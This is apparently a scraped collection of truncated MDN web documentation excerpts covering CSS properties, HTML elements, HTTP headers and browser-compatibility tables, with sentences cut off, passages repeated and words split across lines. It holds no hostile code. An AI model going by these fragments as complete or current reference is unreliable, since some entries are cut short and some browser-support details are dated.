WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
...upportChrome Full support 1Edge Full support 12Firefox Full support 72IE Full support 9Opera Full support 7Safari Full support 5.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android Full support 10.1Safari iOS Full support 5.1Samsung Internet Android ...
mix-blend-mode - CSS: Cascading Style Sheets
finition of 'mix-blend-mode' in that specification. Candidate Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nd-modeChrome Full support 41Edge Full support 79Firefox Full support 32IE No support NoOpera Full support 28Safari Full support 8
WebView Android Full support 41Chrome Android Full support 41Firefox Android Full support 32Opera Android Full support 28Safari iOS Full support 8Samsung Internet Android ...
...elementsChrome Full support 41Edge Full support 79Firefox Full support 32IE No support NoOpera Full support 28Safari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 32Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
object-position - CSS: Cascading Style Sheets
ition of 'object-position' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 36IE No support NoOpera Full support 19 Full support 19 Full support 11.6Prefixed Prefixed Implemented with the vendor prefix: -o-Safari Full support 10
WebView Android Full support 4.4.3Chrome Android Full support 31Firefox Android Full support 36Opera Android Full support 19 Full support 19 Full support ...
...79Firefox No support 36 -- 70IE No support NoOpera No support 19 -- 55 No support 19 -- 55 Full support 11.6Prefixed Prefixed Implemented with the vendor prefix: -o-Safari Full support 10
WebView Android No support 4.4.3 -- 68Chrome Android No support 31 -- 68Firefox Android Full support 36Opera Android No support 19 -- 48 No support 19 -- 48 Full support 12Prefixed Prefixed Implemented with th...
pointer-events - CSS: Cascading Style Sheets
though present in early drafts of CSS Basic User Interface Module Level 3, has been pushed to its level 4. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...eventsChrome Full support 1Edge Full support 12Firefox Full support 1.5IE Full support 11Opera Full support 9Safari Full support 4
WebView Android Full support 2Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 3.2Samsung Internet Android ...
...entalChrome Full support 2Edge Full support 12Firefox Full support 3.6IE Full support 11Opera Full support 15Safari Full support 4
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 3.2Samsung Internet Android ...
quotes - CSS: Cascading Style Sheets
Revision 1)The definition of 'quotes' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...quotesChrome Full support 11Edge Full support 12Firefox Full support 1.5IE Full support 8Opera Full support 4Safari Full support 9
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 9Samsung Internet Android ...
...s Notes This value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingSafari No support NoNotes No support NoNotes Notes This value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language setting
WebView Android No support NoNotes No support NoNotes Notes This value is not supported, but the default browser behavior is to choose appropriate quotes for the user's language settingChrome Android No support NoNotes No support ...
text-decoration-style - CSS: Cascading Style Sheets
definition Initial valuesolidApplies toall elements. ...
...lements. ...
...r and ::first-line.InheritednoComputed valueas specifiedAnimation typediscrete Formal syntax solid | double | dotted | dashed | wavy Examples Setting a wavy underline .example { -moz-text-decoration-line: underline; -moz-text-decoration-style: wavy; -moz-text-decoration-color: red; -
webkit-text-decoration-line: underline; -
webkit-text-decoration-style: wavy; -
webkit-text-decoration-color: red; } CSS .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } HTML <p class="wavy">This text has a wavy red line beneath it.</p> Results Specifications Specification Status Comment CSS Text Decoration Module Level 3The definition of 'text-decoration-style' in that specification.
text-size-adjust - CSS: Cascading Style Sheets
The text-size-adjust CSS property controls the text inflation algorithm used on some smartphones and tablets. Other browsers will ignore this property. /* Keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* Global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; Because many
websites have not been developed with small devices in mind, mobile browsers differ from desktop browsers in the way they render
web pages. Instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels. To map the extra-wide layout back to the original device size, they either show only part of the whole render or scale t...
...le render or scale the viewport down to fit. Since text that has been scaled down to fit a mobile screen may be very small, many mobile browsers apply a text inflation algorithm to enlarge the text to make it more readable. When an element containing text uses 100% of the screen's width, the algorithm increases its text size, but without modifying the layout. The text-size-adjust property allows
web authors to disable or modify this behavior, as
web pages designed with small screens in mind do not need it. Syntax The text-size-adjust property is specified as none, auto, or a <percentage>. Values none Disables the browser's inflation algorithm. auto Enables the browser's inflation algorithm. This value is used to cancel a none value previously set with CSS. <percentage> Enables the...
... Editor's Draft Initial definition ...
Video player styling basics - Developer guides
he background colour of the button is set to be transparent, non-repeated, and the element should fully contain the image. Simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } To obtain appropriate button images, a set of free common control set icons was downloaded from the
web. Each image was then converted to a base64 encoded string (using an online base64 image encoder), since the images are quite small, the resultant encoded strings are quite short. Since some buttons have dual functionality, e.g. play/pause, and mute/unmute, these buttons have different states that need to be styled. As mentioned earlier, a `data-state` variable is used to indicate which state suc...
...ORw0KGgoAAA ... '); } When the data-state of the button is changed, the appropriate image will also be changed. All the other buttons are treated in a similar way. Progress bar The <progress> element has the following basic style set up: .controls progress { display:block; width:100%; height:81%; margin-top:0.125rem; border:none; color:#0095dd; -moz-border-radius:2px; -
webkit-border-radius:2px; border-radius:2px; } Like the <button> elements, <progress> also has a default border, which is removed here. It is also given a slight rounded corner for aesthetic reasons. The color property is also defined here as Internet Explorer uses this defined colour for styling the progress bar's background colour as it increases. As mentioned in the previous article, there ...
...the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via JavaScript) and it also has its background colour set. There are some browser-specific properties that need to be set to ensure that Firefox and Chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-
webkit-progress-value { background-color:#0095dd; } Although the same properties are set to the same value, these rules need to be defined separately, otherwise Chrome ignores it. JavaScript That's really it for the immediate styling; the next task is making a number of JavaScript changes to ensure that everything works as expected. Control visibility The first change is simple: the data-stat...
Mutation events - Developer guides
Mutation Observers are the proposed replacement for mutation events in DOM4. They are expected to be included in Firefox 14 and Chrome 18. The practical reasons to avoid the mutation events are performance issues and cross-browser support. ...
... Mutation Observers are the proposed replacement for mutation events in DOM4. They are expected to be included in Firefox 14 and Chrome 18. The practical reasons to avoid the mutation events are performance issues and cross-browser support. ...
... listeners does not reverse the damage. The performance effect is limited to the documents that have the mutation event listeners. Cross-browser support These events are not implemented consistently across different browsers, for example: IE prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, DOMNodeInserted)
WebKit doesn't support DOMAttrModified (see
webkit bug 8191 and the workaround) "mutation name events", i.e. DOMElementNameChanged and DOMAttributeNameChanged are not supported in Firefox (as of version 11), and probably in other browsers as well. ... Dottoro documents browser support for mutation events. Mutation events list The following is a list of all mutation events, as defined in DOM Lev...
Constraint validation - Developer guides
While marking up the form itself is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. HTML5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. Basic, usual constraints can be checked, without the need for JavaScript, by setting new attributes; more complex constraints can be tested using the Constraint validation API. For a basic introduction to these concepts, with examples, see the Form validation tutorial. ...
...sic introduction to these concepts, with examples, see the Form validation tutorial. Note: HTML5 Constraint validation doesn't remove the need for validation on the server side. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without HTML5 and without JavaScript) or by bad people trying to trick your
web application. Therefore, like with HTML4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side. Intrinsic and basic constraints In HTML5, basic constraints are declared in two ways: By choosing the most semantically appropriate value for the type attribute of the <input> element, e.g., choosing the email type automati...
...e larger than 75 kB"); return; } } // No custom constraint violation FS.setCustomValidity(""); } Finally we hook the method with the correct event: window.onload = function () { document.getElementById("FS").onchange = checkFileSize; } You can see a live example of the File size constraint validation. Visual styling of constraint validation Apart from setting constraints,
web developers want to control what messages are displayed to the users and how they are styled. Controlling the look of elements The look of elements can be controlled via CSS pseudo-classes. :required and :optional CSS pseudo-classes The :required and :optional pseudo-classes allow writing selectors that match form elements that have the required attribute, or that don't have it. :placeholder-...
Mobile-friendliness - Developer guides
What is Mobile Friendliness? Mobile friendliness can mean a multitude of things, depending on who you're talking to. It can be helpful to think of it in terms of three goals for improving your site's user experience: Presentation, Content, and Performance. Goal #1 (Presentation) "Make
websites that work well on a variety of screen sizes." These days, users can access the
web on devices in a wide range of form factors, including phones, tablets, and eReaders. Needless to say, a fixed-width, three-column layout filled with complex JavaScript animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor. A slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate. ...
...mmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate. That's why this first goal is all about presenting your content in a way that makes life easy for users on mobile device. Goal #2 (Content) "Adjust your content for mobile users." Think about what your users want to do at your site if they are on a phone. A great example of this is Alaska Air's
website. Their desktop site focuses on getting visitors to book trips. Mobile users, however, are probably more interested in checking-in for a flight or seeing if their flight is delayed. They've adjusted their site's content to reflect this, and it meets the needs of mobile users. Goal #3 (Performance) "Give your users a smooth experience, even on a slow connection." Though things have been getting...
... absolutely critical to keep in mind which browsers and devices you will target when picking a mobile strategy. If your audience is full of early-adopters, you can focus on tablets and smartphones with standards-friendly browsers. On the other hand, if many of your site's users are on devices with less capable browsers, that may eliminate certain strategies as viable options. Approaches to mobile
Web development The following approaches aim to achieve each of these goals by different means. Separate sites Responsive design A hybrid approach Original document information Originally published on 4 May, 2011 on the Mozilla
Webdev blog as "Approaches to Mobile
Web Development Part 1 - What is Mobile Friendliness?", by Jason Grlicky. ...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
ling any of the following on a tainted canvas will result in an error: Calling getImageData() on the canvas's context Calling toBlob() on the <canvas> element itself Calling toDataURL() on the canvas Attempting any of these when the canvas is tainted will cause a SecurityError to be thrown. This protects users from having private data exposed by using images to pull information from remote
web sites without permission. Storing an image from a foreign origin In this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. Implementing this requires configuring the server as well as writing code for the
web site itself.
Web server configuration The first thing we need is a server that's configured to host images with the Access-Control-Allow...
...ed is a server that's configured to host images with the Access-Control-Allow-Origin header configured to permit cross-origin access to image files. Let's assume we're serving our site using Apache. Consider the HTML5 Boilerplate Apache server configuration file for CORS images, shown below: <IfModule mod_setenvif.c> <IfModule mod_headers.c> <FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|
webp)$"> SetEnvIf Origin ":" IS_CORS Header set Access-Control-Allow-Origin "*" env=IS_CORS </FilesMatch> </IfModule> </IfModule> In short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".
webp") to be accessed cross-origin from anywhere on the internet. Implementing the sav...
...the image into a data URL, and by getting access to the canvas's 2D drawing context (CanvasRenderingContext2D) in the variable context. The canvas's size is adjusted to match the received image, then the image is drawn into the canvas using drawImage(). The canvas is then inserted into the document so the image is visible. Now it's time to actually save the image locally. To do this, we use the
Web Storage API's local storage mechanism, which is accessed through the localStorage global. The canvas method toDataURL() is used to convert the image into a data:// URL representing a PNG image, which is then saved into local storage using setItem(). You can try out or remix this example on Glitch. ...
<frameset> - HTML: Hypertext Markup Language
Attributes Like all other HTML elements, this element supports the global attributes. cols This attribute specifies the number and size of horizontal spaces in a frameset. rows This attribute specifies the number and size of vertical spaces in a frameset. ...
...lement is not typically used by modern
web sites. ...
...TML elements, this element supports the global attributes. ...
<input type="search"> - HTML: Hypertext Markup Language
rch input fields. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect Whether or not to allow autocorrect while editing this input field. Safari only. incremental Whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field.
WebKit and Blink only (Safari, Chrome, Opera, etc.). mozactionhint A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for Android only. results The maximum number of items that should be displayed in the drop-d...
...xtension, the autocorrect attribute is a string which indicates whether or not to activate automatic correction while the user is editing this field. Permitted values are: on Enable automatic correction of typos, as well as processing of text substitutions if any are configured. off Disable automatic correction and text substitutions. incremental The Boolean attribute incremental is a
WebKit and Blink extension (so supported by Safari, Opera, Chrome, etc.) which, if present, tells the user agent to process the input as a live search. As the user edits the value of the field, the user agent sends search events to the HTMLInputElement object representing the search box. This allows your code to update the search results in real time as the user edits the search. If incremental is n...
... Specifications Specification Status Comment HTML Living StandardThe definition of '<input type="search">' in that specification. Living Standard Initial definition HTML 5.1The definition of '<input type="search">' in that specification. Recommendation Initial definition ...
<input type="url"> - HTML: Hypertext Markup Language
490661. Permitted values are: go, done, next, search, and send. The browser decides, using this hint, what label to put on the enter key. Using URL inputs When you create a URL input with the proper type value, url, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate URL. This can help avoid cases in which the user mis-types their
web site's address, or provides an invalid one. It's important, however, to note that this is not enough to ensure that the specified text is a URL which actually exists, corresponds to the user of the site, or is acceptable in any other way. It simply ensures that the value of the field is properly formatted to be a URL. Note: It's also crucial to remember that a user can tinker with your HTML be...
...Using labels for suggested values You can opt to include the label attribute on one or all of your <option> elements to provide textual labels. Some browsers may display only the labels, while others may display both the label and the URL. <input id="myURL" name="myURL" type="url" list="defaultURLs"> <datalist id="defaultURLs"> <option value="https://developer.mozilla.org/" label="MDN
Web Docs"> <option value="http://www.google.com/" label="Google"> <option value="http://www.microsoft.com/" label="Microsoft"> <option value="https://www.mozilla.org/" label="Mozilla"> <option value="http://w3.org/" label="W3C"> </datalist> Validation There are two levels of content validation available for url inputs. First, there's the standard level of validation offered to all <input>...
...div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '?'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '?'; padding-left: 5px; } <form> <div> <label for="myURL">Enter the problem
website address:</label> <input id="myURL" name="myURL" type="url" required pattern=".*\.myco\..*" title="The URL must be in a Myco domain"> <span class="validity"></span> </div> <div> <label for="myComment">What is the problem?</label> <input id="myComment" name="myComment" type="text" required> <span class="validity"></span> </div> <div> ...
Standard metadata names - HTML: Hypertext Markup Language
The <meta> element can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value. Standard metadata names defined in the HTML specification The HTML specification defines the following set of standard metadata names: application-name: the name of the application running in the
web page. Note: Browsers may use this to identify the application. It is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status. Simple
web pages shouldn't define an application-name. author: the name of the document's author. description: a short and accurate summary of the content of the page. S...
...following metadata name: viewport: gives hints about the size of the initial size of the viewport. Used by mobile devices only. Values for the content of <meta name="viewport"> Value Possible subvalues Description width A positive integer number, or the text device-width Defines the pixel width of the viewport that you want the
web site to be rendered at. height A positive integer, or the text device-height Defines the height of the viewport. Not used by any browser. initial-scale A positive number between 0.0 and 10.0 Defines the ratio between the device width (device-width in portrait mode or device-height in landscape mode) and the viewport size. maximum-sc...
...rule and iOS10+ ignores it by default. minimum-scale A positive number between 0.0 and 10.0 Defines the minimum zoom level. It must be smaller or equal to the maximum-scale or the behaviour is undefined. Browser settings can ignore this rule and iOS10+ ignores it by default. user-scalable yes or no If set to no, the user is not able to zoom in the
webpage. The default is yes. Browser settings can ignore this rule, and iOS10+ ignores it by default. viewport-fit auto, contain or cover The auto value doesn't affect the initial layout viewport, and the whole
web page is viewable. The contain value means that the viewport is scaled to fit the largest rectangle inscribed within the display. The cover val...
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
You might have used it if you have created multiple shadow roots under a shadow host. It is not useful in ordinary HTML. Content categories Transparent content Permitted content Flow content Tag omission None, both the starting and ending tag are mandatory. Permitted parents Any element that accepts flow content. Permitted ARIA roles None DOM interface HTMLShadowElement Attributes This element includes the global attributes. Example Here is a simple example of using the <shadow> element. ...
...t that accepts flow content. Permitted ARIA roles None DOM interface HTMLShadowElement Attributes This element includes the global attributes. Example Here is a simple example of using the <shadow> element. It is an HTML file with everything needed in it. Note: This is an experimental technology. For this code to work, the browser you display it in must support
Web Components. See Enabling
Web Components in Firefox. <html> <head></head> <body> <!-- This <div> will hold the shadow roots. --> <div> <!-- This heading will not be displayed --> <h4>My Original Heading</h4> </div> <script> // Get the <div> above with its content var origContent = document.querySelector('div'); // Create the first shadow root var shadowroot1...
... Specifications This element is no longer defined by any specifications. ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
o using the image specified by the <picture> element's <img> child if it is unable to find a suitable image to use after examing every provided <source>. Usage notes The <source> element is an empty element (or void element), which means that it not only has no content but also has no closing tag. That is, you never use "</source>" in your HTML. For information about image formats supported by
web browsers and guidance on selecting appropriate formats to use, see our Image file type and format guide on the
web. For details on the video and audio media types, you can use, see the Guide to media types formats used on the
web. Examples Video example This example demonstrates how to offer a video in Ogg format for users whose browsers support Ogg format, and a QuickTime format video for use...
...uickTime format video for users whose browsers support that. If the audio or video element is not supported by the browser, a notice is displayed instead. If the browser supports the element but does not support any of the specified formats, an error event is raised and the default media controls (if enabled) will indicate an error. Be sure to reference our guide to media types and formats on the
web for details on what media file formats you can use and how well they're supported by browsers. <video controls> <source src="foo.
webm" type="video/
webm"> <source src="foo.ogg" type="video/ogg"> <source src="foo.mov" type="video/quicktime"> I'm sorry; your browser doesn't support HTML5 video. </video> For more examples, the learning area article Video and audio content is a great resour...
...ersions of an image to use when the available space exceeds certain widths. If the available width is less than the smaller of these widths, the user agent will fall back to the image given by the <img> element. <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 800px)"> <source srcset="mdn-logo-medium.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="MDN
Web Docs"> </picture> With the <picture> element, you must always include an <img> with a fallback image, with an alt attribute to ensure accessibility (unless the image is an irrelevant background decorative image). Specifications Specification Status Comment HTML Living StandardThe definition of '<source>' in that specification. Living Standard ...
Choosing between www and non-www URLs - HTTP
A recurring question among
website owners is whether to choose non-www or www URLs. This page provides some advice on what's best. What are domain names? In an HTTP URL, the first substring that follows the initial http:// or https:// is called the domain name. This domain name is hosted on a server where the document resides. A server isn't necessarily a physical machine: several servers can reside on the same physical machine. Or, one server can be handled by several machines, cooperating to produce the answer or balancing the load of the requests between them. The key point is that semantically one domain name represents one single server. So, do I have to choose one or the other for my
web site? Yes, you need to choose one and stick with it. The choice of which one to have as your...
...ooperating to produce the answer or balancing the load of the requests between them. The key point is that semantically one domain name represents one single server. So, do I have to choose one or the other for my
web site? Yes, you need to choose one and stick with it. The choice of which one to have as your canonical location is yours, but if you choose one, stick with it. It will make your
website appear more consistent to your users and to search engines. This includes always linking to the chosen domain (which shouldn't be hard if you're using relative URLs in your
website) and always sharing links (by email/social networks, etc.) to the same domain. No, you can have two. What is important is that you are coherent and consistent with which one is the official domain. This official d...
...two techniques so that it is clear for your users, or search engines, which domain is the canonical one, while still allowing the non-canonical domain to work and provide the expected pages. So, choose one of your domains as your canonical one! There are two techniques below to allow the non-canonical domain to work still. Techniques for canonical URLs There are different ways to choose which
website is canonical. Using HTTP 301 redirects In this case, you need to configure the server receiving the HTTP requests (which is most likely the same for www and non-www URLs) to respond with an adequate HTTP 301 response to any request to the non-canonical domain. This will redirect the browser trying to access the non-canonical URLs to their canonical equivalent. For example, if you've chosen ...
Common MIME types - HTTP
data. application/octet-stream is the default value for all other cases. An unknown file type should use this type. Browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous behaviors. IANA is the official registry of MIME media types and maintains a list of all the official MIME types. ...
.../vnd.ms-powerpoint .pptx Microsoft PowerPoint (OpenXML) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar RAR archive application/vnd.rar .rtf Rich Text Format (RTF) application/rtf .sh Bourne shell script application/x-sh .svg Scalable Vector Graphics (SVG) image/svg+xml .swf Small
web format (SWF) or Adobe Flash document application/x-shockwave-flash .tar Tape Archive (TAR) application/x-tar .tif .tiff Tagged Image File Format (TIFF) image/tiff .ts MPEG transport stream video/mp2t .ttf TrueType Font font/ttf .txt Text, (generally ASCII or ISO 8859-n) text/plain .vsd Microsoft Visio ...
... Tape Archive (TAR) application/x-tar .tif .tiff Tagged Image File Format (TIFF) image/tiff .ts MPEG transport stream video/mp2t .ttf TrueType Font font/ttf .txt Text, (generally ASCII or ISO 8859-n) text/plain .vsd Microsoft Visio application/vnd.visio .wav Waveform Audio Format audio/wav .
weba
WEBM audio audio/
webm .
webm
WEBM video video/
webm .
webp
WEBP image image/
webp .woff
Web Open Font Format (WOFF) font/woff .woff2
Web Open Font Format (WOFF) font/woff2 .xhtml XHTML application/xhtml+xml .xls Microsoft Excel application/vnd.ms-excel .xlsx Microsoft Excel (OpenXML) applic...
Basics of HTTP - HTTP
extensible protocol that relies on concepts like resources and Uniform Resource Identifiers (URIs), simple message structure, and client-server communication flow. On top of these basic concepts, numerous extensions have been developed over the years that add updated functionality and semantics with new HTTP methods or headers. Articles Overview of HTTP Describes what HTTP is and its role in
web architecture, including its position in the protocol stack. Evolution of HTTP HTTP was created in the early 1990s and has been extended several times. This article goes through its history and describes HTTP/0.9, HTTP/1.0, HTTP/1.1, and the modern HTTP/2, as well as novelties introduced over the years. Resources and URIs A brief introduction to the concept of resources, identifiers, and locat...
...e, including its position in the protocol stack. Evolution of HTTP HTTP was created in the early 1990s and has been extended several times. This article goes through its history and describes HTTP/0.9, HTTP/1.0, HTTP/1.1, and the modern HTTP/2, as well as novelties introduced over the years. Resources and URIs A brief introduction to the concept of resources, identifiers, and locations on the
web. Identifying resources on the
Web Describes how
web resources are referenced and how to locate them. Data URIs A specific kind of URI that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats. Resource URLs Resource URLs, those prefixed with the resource scheme are used by Firefox and Firefox browser extensions to load resources internally, but ...
... Data URIs are very convenient, but have some caveats. Resource URLs Resource URLs, those prefixed with the resource scheme are used by Firefox and Firefox browser extensions to load resources internally, but is also available to some sites the browser connects to as well. Separating identity and location of a resource: The Alt-Svc HTTP header Most of the time the identity and location of a
web resource are shared, this can be changed with the Alt-Svc header. MIME types Since HTTP/1.0, different types of content can be transmitted. This article explains how this is accomplished using the Content-Type header and the MIME standard. Choosing between www and non-www URLs This article provides guidance on how to choose whether to use a www-prefixed domain or not, along with the consequen...
Content negotiation - HTTP
The Accept-Encoding header The Accept-Encoding header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared). Compressing HTTP messages is one of the most important ways to improve the performance of a
Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression. The Accept-Language header The Accept-Language header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default v...
...e preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences. Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a
Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience: They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the Accept-Language header, adapted...
...as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'. The Vary response header In opposition to the previous Accept-* headers which are sent by the client, the Vary HTTP header is sent by the
web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user. The special value of '*' means that the server-driven content negotiation ...
Using Feature Policy - HTTP
ature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature. The Feature-Policy header is still in an experimental state, and is subject to change at any time. Be wary of this when implementing Feature Policy on your
website. Writing a policy A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature. Features within a policy are separated by semicolons. allowlist An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature wil...
...rame to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute. Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants. Enforcing best practices for good user experiences It's difficult to build a
website that uses all the latest best practices and provides great performance and user experiences. As the
website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions. There are several policy-controlled features designed to represent f...
...y on the browser to enforce the policies to prevent regressions. There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include: Layout-inducing Animations Unoptimized (poorly compressed) images Oversized images Synchronous scripts Synchronous XMLHttpRequest Unsized media To avoid breaking existing
web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is '*' for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features. For new content, you can start developing with a policy that disables all the features. This approach ensure...
CSP: connect-src - HTTP
Note: connect-src 'self' does not resolve to
websocket schemas in all browsers, more info: https://github.com/w3c/
webappsec-csp/issues/7 CSP version 1 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the default-src directive. ...
... The HTTP Content-Security-Policy (CSP) connect-src directive restricts the URLs which can be loaded using script interfaces. The APIs that are restricted are: <a> ping, Fetch, XMLHttpRequest,
WebSocket, EventSource, and Navigator.sendBeacon(). Note: connect-src 'self' does not resolve to
websocket schemas in all browsers, more info: https://github.com/w3c/
webappsec-csp/issues/7 CSP version 1 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the default-src directive. Syntax One or more sources can be allowed for the connect-src policy: Content-Security-Policy: connect-src <source>; Content-Security-Policy: connect-src <source> <source>; Sources <source> can be one of ...
...e scripts. CSP 3.0 allows it in the case of script-src for external scripts. Examples Violation cases Given this CSP header: Content-Security-Policy: connect-src https://example.com/ The following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://not-example.com/'); xhr.send(); var ws = new
WebSocket("https://not-example.com/"); var es = new EventSource("https://not-example.com/"); navigator.sendBeacon("https://not-example.com/", { ... }); </script> Specifications Specification Status Comment Content Security Policy Level 3The definition of 'connect-src' in that specification. Working Draft No changes. Content Security Policy Level 2The...
Large-Allocation - HTTP
For complex games, for example, these allocations can be quite large, sometimes as large as 1GB. ...
...ser that the page being loaded is going to want to perform a large allocation. It is currently only implemented in Firefox, but is harmless to send to every browser.
WebAssembly or asm.js applications can use large contiguous blocks of allocated memory. For complex games, for example, these allocations can be quite large, sometimes as large as 1GB. The Large-Allocation tells the browser that the
web content in the to-be-loaded page is going to want to perform a large contiguous memory allocation and the browser can react to this header by starting a dedicated process for the to-be-loaded document, for example. Header type Response header Forbidden header name no Syntax Large-Allocation: 0 Large-Allocation: <megabytes> Directives 0 0 is a special value w...
...: <megabytes> Directives 0 0 is a special value which represents uncertainty as to what the size of the allocation is. <megabytes> The expected size of the allocation to be performed, in megabytes. Examples Large-Allocation: 0 Large-Allocation: 500 Troubleshooting errors The Large-Allocation header throws warnings or error messages when used incorrectly. You'll encounter them in the
web console. This page was loaded in a new process due to a Large-Allocation header. This message means that the browser saw the Large-Allocation header, and was able to reload the page into a new process which should have more available contiguous memory. A Large-Allocation header was ignored due to the load being triggered by a non-GET request. When a POST request is used to load a document, ...
X-Frame-Options - HTTP
<httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.
webServer> Or see this Microsoft support article on setting this configuration using the IIS Manager user interface. Configuring HAProxy To configure HAProxy to send the X-Frame-Options header, add this to y...
... Configuring HAProxy To configure HAProxy to send the X-Frame-Options header, add this to your front-end, listen, or ...
... add this either to your http, server or location configuration: add_header X-Frame-Options SAMEORIGIN always; Configuring IIS To configure IIS to send the X-Frame-Options header, add this to your site's
Web.config file: <system.
webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.
webServer> Or see this Microsoft support article on setting this configuration using the IIS Manager user interface. Configuring HAProxy To configure HAProxy to send the X-Frame-Options header, add this to your front-end, listen, or backend configuration: rspadd X-Frame-Options:\ SAMEORIGIN Alternatively, in newer versions: http-response set-header X-Frame-Options SAMEORIGIN Configuring Exp...
HTTP Messages - HTTP
ion on the server, and responses, the answer from the server. HTTP messages are composed of textual information encoded in ASCII, and span over multiple lines. In HTTP/1.1, and earlier versions of the protocol, these messages were openly sent across the connection. In HTTP/2, the once human-readable message is now divided up into HTTP frames, providing optimization and performance improvements.
Web developers, or
webmasters, rarely craft these textual HTTP messages themselves: software, a
Web browser, proxy, or
